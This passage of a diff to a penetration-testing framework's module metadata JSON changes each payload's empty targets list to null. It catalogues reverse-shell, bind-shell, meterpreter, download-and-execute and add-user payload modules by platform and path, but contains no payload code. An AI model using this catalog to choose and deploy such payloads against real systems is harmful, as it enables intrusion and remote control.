"/modules/payloads/stagers/linux/x86/bind_nonx_tcp.rb", "is_install_path": true, @@ -89772,9 +87322,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp.rb", "is_install_path": true, @@ -89800,9 +87348,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/bind_tcp_uuid.rb", "is_install_path": true, @@ -89826,9 +87372,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/find_tag.rb", "is_install_path": true, @@ -89853,9 +87397,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_ipv6_tcp.rb", "is_install_path": true, @@ -89879,9 +87421,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_nonx_tcp.rb", "is_install_path": true, @@ -89907,9 +87447,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-15 08:02:51 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp.rb", "is_install_path": true, @@ -89935,9 +87473,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-15 08:02:51 +0000", "path": "/modules/payloads/stagers/linux/x86/reverse_tcp_uuid.rb", "is_install_path": true, @@ -89961,9 +87497,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb", "is_install_path": true, @@ -89987,9 +87521,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_tcp.rb", "is_install_path": true, @@ -90013,9 +87545,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb", "is_install_path": true, @@ -90039,9 +87569,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_port.rb", "is_install_path": true, @@ -90065,9 +87593,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/linux/x86/shell_find_tag.rb", "is_install_path": true, @@ -90092,9 +87618,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb", "is_install_path": true, @@ -90118,9 +87642,7 @@ "platform": "Linux", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 16:26:41 +0000", "path": "/modules/payloads/singles/linux/x86/shell_reverse_tcp_ipv6.rb", "is_install_path": true, @@ -90146,9 +87668,7 @@ "platform": "Linux", "arch": "zarch", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb", "is_install_path": true, @@ -90174,9 +87694,7 @@ "platform": "Linux", "arch": "zarch", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb", "is_install_path": true, @@ -90202,9 +87720,7 @@ "platform": "Linux", "arch": "zarch", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -90228,9 +87744,7 @@ "platform": "Mainframe", "arch": "zarch", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-17 16:00:04 +0000", "path": "/modules/payloads/singles/mainframe/shell_reverse_tcp.rb", "is_install_path": true, @@ -90254,9 +87768,7 @@ "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/multi/reverse_http.rb", "is_install_path": true, @@ -90280,9 +87792,7 @@ "platform": "Multi", "arch": "x86, x86_64, x64, mips, mipsle, mipsbe, mips64, mips64le, ppc, ppce500v2, ppc64, ppc64le, cbea, cbea64, sparc, sparc64, armle, armbe, aarch64, cmd, php, tty, java, ruby, dalvik, python, nodejs, firefox, zarch, r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/multi/reverse_https.rb", "is_install_path": true, @@ -90306,9 +87816,7 @@ "platform": "Netware", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/netware/reverse_tcp.rb", "is_install_path": true, @@ -90332,9 +87840,7 @@ "platform": "NodeJS", "arch": "nodejs", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-11 11:09:28 +0000", "path": "/modules/payloads/singles/nodejs/shell_bind_tcp.rb", "is_install_path": true, @@ -90359,9 +87865,7 @@ "platform": "NodeJS", "arch": "nodejs", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/nodejs/shell_reverse_tcp.rb", "is_install_path": true, @@ -90386,9 +87890,7 @@ "platform": "NodeJS", "arch": "nodejs", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb", "is_install_path": true, @@ -90412,9 +87914,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/armle/bind_tcp.rb", "is_install_path": true, @@ -90438,9 +87938,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/armle/reverse_tcp.rb", "is_install_path": true, @@ -90464,9 +87962,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/armle/bind_tcp.rb", "is_install_path": true, @@ -90490,9 +87986,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/armle/reverse_tcp.rb", "is_install_path": true, @@ -90516,9 +88010,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/armle/shell_bind_tcp.rb", "is_install_path": true, @@ -90542,9 +88034,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/armle/shell_reverse_tcp.rb", "is_install_path": true, @@ -90568,9 +88058,7 @@ "platform": "OSX", "arch": "armle", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/armle/vibrate.rb", "is_install_path": true, @@ -90594,9 +88082,7 @@ "platform": "OSX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/ppc/bind_tcp.rb", "is_install_path": true, @@ -90620,9 +88106,7 @@ "platform": "OSX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/ppc/find_tag.rb", "is_install_path": true, @@ -90646,9 +88130,7 @@ "platform": "OSX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/ppc/reverse_tcp.rb", "is_install_path": true, @@ -90672,9 +88154,7 @@ "platform": "OSX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/ppc/shell_bind_tcp.rb", "is_install_path": true, @@ -90698,9 +88178,7 @@ "platform": "OSX", "arch": "ppc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/ppc/shell_reverse_tcp.rb", "is_install_path": true, @@ -90725,9 +88203,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x64/bind_tcp.rb", "is_install_path": true, @@ -90752,9 +88228,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-10 15:06:08 +0000", "path": "/modules/payloads/stagers/osx/x64/reverse_tcp.rb", "is_install_path": true, @@ -90779,9 +88253,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x64/exec.rb", "is_install_path": true, @@ -90809,9 +88281,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x64/bind_tcp.rb", "is_install_path": true, @@ -90839,9 +88309,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-01-10 15:06:08 +0000", "path": "/modules/payloads/stagers/osx/x64/reverse_tcp.rb", "is_install_path": true, @@ -90867,9 +88335,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_http.rb", "is_install_path": true, @@ -90895,9 +88361,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_https.rb", "is_install_path": true, @@ -90923,9 +88387,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-06-27 17:55:08 +0000", "path": "/modules/payloads/singles/osx/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -90949,9 +88411,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x64/say.rb", "is_install_path": true, @@ -90975,9 +88435,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x64/shell_bind_tcp.rb", "is_install_path": true, @@ -91001,9 +88459,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x64/shell_find_tag.rb", "is_install_path": true, @@ -91027,9 +88483,7 @@ "platform": "OSX", "arch": "x64", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x64/shell_reverse_tcp.rb", "is_install_path": true, @@ -91053,9 +88507,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, @@ -91079,9 +88531,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, @@ -91107,9 +88557,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x86/exec.rb", "is_install_path": true, @@ -91133,9 +88581,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, @@ -91159,9 +88605,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, @@ -91185,9 +88629,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/osx/x86/shell_bind_tcp.rb", "is_install_path": true, @@ -91211,9 +88653,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/osx/x86/shell_find_port.rb", "is_install_path": true, @@ -91237,9 +88677,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/osx/x86/shell_reverse_tcp.rb", "is_install_path": true, @@ -91263,9 +88701,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/bind_tcp.rb", "is_install_path": true, @@ -91289,9 +88725,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/osx/x86/reverse_tcp.rb", "is_install_path": true, @@ -91315,9 +88749,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x86/vforkshell_bind_tcp.rb", "is_install_path": true, @@ -91341,9 +88773,7 @@ "platform": "OSX", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/osx/x86/vforkshell_reverse_tcp.rb", "is_install_path": true, @@ -91368,9 +88798,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/bind_perl.rb", "is_install_path": true, @@ -91395,9 +88823,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/bind_perl_ipv6.rb", "is_install_path": true, @@ -91422,9 +88848,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/bind_php.rb", "is_install_path": true, @@ -91449,9 +88873,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/bind_php_ipv6.rb", "is_install_path": true, @@ -91475,9 +88897,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/download_exec.rb", "is_install_path": true, @@ -91501,9 +88921,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/exec.rb", "is_install_path": true, @@ -91527,9 +88945,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/bind_tcp.rb", "is_install_path": true, @@ -91553,9 +88969,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_ipv6.rb", "is_install_path": true, @@ -91580,9 +88994,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_ipv6_uuid.rb", "is_install_path": true, @@ -91607,9 +89019,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/bind_tcp_uuid.rb", "is_install_path": true, @@ -91633,9 +89043,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/reverse_tcp.rb", "is_install_path": true, @@ -91660,9 +89068,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-09-12 19:23:31 +0000", "path": "/modules/payloads/stagers/php/reverse_tcp_uuid.rb", "is_install_path": true, @@ -91686,9 +89092,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-03-07 18:48:10 +0000", "path": "/modules/payloads/singles/php/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -91712,9 +89116,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/reverse_perl.rb", "is_install_path": true, @@ -91738,9 +89140,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/reverse_php.rb", "is_install_path": true, @@ -91764,9 +89164,7 @@ "platform": "PHP", "arch": "php", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/php/shell_findsock.rb", "is_install_path": true, @@ -91790,9 +89188,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/bind_tcp.rb", "is_install_path": true, @@ -91817,9 +89213,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/bind_tcp_uuid.rb", "is_install_path": true, @@ -91843,9 +89237,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/reverse_http.rb", "is_install_path": true, @@ -91869,9 +89261,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/reverse_https.rb", "is_install_path": true, @@ -91895,9 +89285,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/reverse_tcp.rb", "is_install_path": true, @@ -91923,9 +89311,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/reverse_tcp_ssl.rb", "is_install_path": true, @@ -91950,9 +89336,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/python/reverse_tcp_uuid.rb", "is_install_path": true, @@ -91976,9 +89360,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 14:18:54 +0000", "path": "/modules/payloads/singles/python/meterpreter_bind_tcp.rb", "is_install_path": true, @@ -92002,9 +89384,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 14:18:54 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_http.rb", "is_install_path": true, @@ -92028,9 +89408,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 14:18:54 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_https.rb", "is_install_path": true, @@ -92054,9 +89432,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-04-27 14:18:54 +0000", "path": "/modules/payloads/singles/python/meterpreter_reverse_tcp.rb", "is_install_path": true, @@ -92080,9 +89456,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-10-23 23:04:02 +0000", "path": "/modules/payloads/singles/python/shell_bind_tcp.rb", "is_install_path": true, @@ -92106,9 +89480,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp.rb", "is_install_path": true, @@ -92132,9 +89504,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb", "is_install_path": true, @@ -92158,9 +89528,7 @@ "platform": "Python", "arch": "python", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-13 13:33:36 +0000", "path": "/modules/payloads/singles/python/shell_reverse_udp.rb", "is_install_path": true, @@ -92184,9 +89552,7 @@ "platform": "R", "arch": "r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 05:30:30 +0000", "path": "/modules/payloads/singles/r/shell_bind_tcp.rb", "is_install_path": true, @@ -92210,9 +89576,7 @@ "platform": "R", "arch": "r", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-08-28 05:30:30 +0000", "path": "/modules/payloads/singles/r/shell_reverse_tcp.rb", "is_install_path": true, @@ -92237,9 +89601,7 @@ "platform": "Ruby", "arch": "ruby", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/ruby/shell_bind_tcp.rb", "is_install_path": true, @@ -92264,9 +89626,7 @@ "platform": "Ruby", "arch": "ruby", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb", "is_install_path": true, @@ -92291,9 +89651,7 @@ "platform": "Ruby", "arch": "ruby", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/ruby/shell_reverse_tcp.rb", "is_install_path": true, @@ -92317,9 +89675,7 @@ "platform": "Ruby", "arch": "ruby", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb", "is_install_path": true, @@ -92343,9 +89699,7 @@ "platform": "Solaris", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb", "is_install_path": true, @@ -92369,9 +89723,7 @@ "platform": "Solaris", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_find_port.rb", "is_install_path": true, @@ -92395,9 +89747,7 @@ "platform": "Solaris", "arch": "sparc", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb", "is_install_path": true, @@ -92421,9 +89771,7 @@ "platform": "Solaris", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb", "is_install_path": true, @@ -92447,9 +89795,7 @@ "platform": "Solaris", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_find_port.rb", "is_install_path": true, @@ -92473,9 +89819,7 @@ "platform": "Solaris", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-05-01 04:57:42 +0000", "path": "/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb", "is_install_path": true, @@ -92499,9 +89843,7 @@ "platform": "Unix", "arch": "tty", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/tty/unix/interact.rb", "is_install_path": true, @@ -92528,9 +89870,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/singles/windows/adduser.rb", "is_install_path": true, @@ -92558,9 +89898,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, @@ -92588,9 +89926,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, @@ -92617,9 +89953,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, @@ -92647,9 +89981,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, @@ -92675,9 +90007,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2018-02-27 19:24:51 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, @@ -92703,9 +90033,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, @@ -92732,9 +90060,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, @@ -92763,9 +90089,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, @@ -92792,9 +90116,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, @@ -92820,9 +90142,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, @@ -92850,9 +90170,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_hop_http.rb", "is_install_path": true, @@ -92878,9 +90196,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-11-21 13:53:33 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, @@ -92906,9 +90222,7 @@ "platform": "Windows", "arch": "x86", "rport": "", - "targets": [ - - ], + "targets": null, "mod_time": "2017-07-24 06:26:21 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, @@ -92935,9 +90249,7 @@ "platform": "Windows", "arch": "x86", 